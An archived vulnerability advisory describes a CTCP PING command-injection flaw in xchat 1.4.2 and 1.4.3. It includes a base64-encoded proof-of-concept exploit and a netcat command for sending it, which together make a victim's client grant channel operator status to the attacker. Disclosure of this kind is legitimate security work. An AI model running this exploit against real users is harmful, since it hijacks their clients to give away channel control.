TUCoPS :: Unix :: General :: unix4984.htm

COMMAND
	xchat IRC clients can be tricked by attacker to send commands to server
SYSTEMS AFFECTED
	xchat 1.4.2 and 1.4.3
PROBLEM
	zen-parse posted :
	
	The CTCP PING reply handler is designed to return the string that was
	sent to it by another client. This enables that client to determine the
	time lag between them and another user.
	
	The querying client types
	 /ping nick
	which sends a command of the form:
	 PRIVMSG nick :\\x01PING 1027050764\\x01\\n
	
	Where \"1027050764\" was some representation of the current time, and
	\\x01
	is the character with the ASCII value 0x01. The queried client would respond with: NOTICE nick :\\xPING 1027050764\\x01\\n 
	and the querying client would then compare the current time with the
	time in the string.
	
	If you sent \"test 1 2 3 4\" as the time part, xchat would reply with
	the same string. The xchat client also has a feature which allows
	insertion of arbitrary ascii valued characters into a message. The
	message \"This is %065 test.\" gets sent as \"This is A test.\" to the
	server. (This option is disabled by default in later versions.)
	
	If these expressions are expanded on the sending client, a ping
	messsage could be sent to a user with the command:
	
	 /msg nick %001PING 12345678%001 
	
	which would send a string like:
	
	 PRIVMSG nick :\\x01PING 12345678\\x01
	
	(To disable expansion in xchat when you are typing them, use \'%%nnn\'
	to send the \'%nnn\' literal. Eg: to send \'%100x\', type \'%%100x\' in
	the client. If your client does expansion, it would show up as \'dx\',
	which can be quite annoying when discussing format strings.)
	
	The PING reply handler also expands the %nnn values in replies in the
	vulnerable clients. Example exploit, By Marcus Meissner
	<Marcus.Meissner@caldera.de>
	
	 
	#fupp is a channel.
	Victim is on it and has channel op status.
	Enter the command: cat xchat.exploit - | netcat server 6667 
	(The - is necessary so we do not quit instantely)
	This causes vulnerable \'Victim\' to give user \'exploit\' channel operator
	status in channel \'#fupp\' on server \'server\'.
	
	
	 
	---1463783680-382694448-1010569513=:26663
	Content-Type: TEXT/PLAIN; charset=US-ASCII; name=\"xchat.exploit\"
	Content-Transfer-Encoding: BASE64
	Content-ID: <Pine.LNX.4.33.0201092245130.26663@clarity.local>
	Content-Description: 
	Content-Disposition: attachment; filename=\"xchat.exploit\"
	
	dXNlciBleHBsb2l0IGZvbyBiYXI6IEV4cGxvaXQgVGVzdGVyDQpuaWNrIEV4
	cGxvaXQNCmpvaW4gI2Z1cHANCnByaXZtc2cgVmljdGltIDoBUElORyAxJTAx
	ME1PREUgI2Z1cHAgK28gRXhwbG9pdCUwMTABDQoNCg==
	---1463783680-382694448-1010569513=:26663--
	
SOLUTION
	Update soon to be available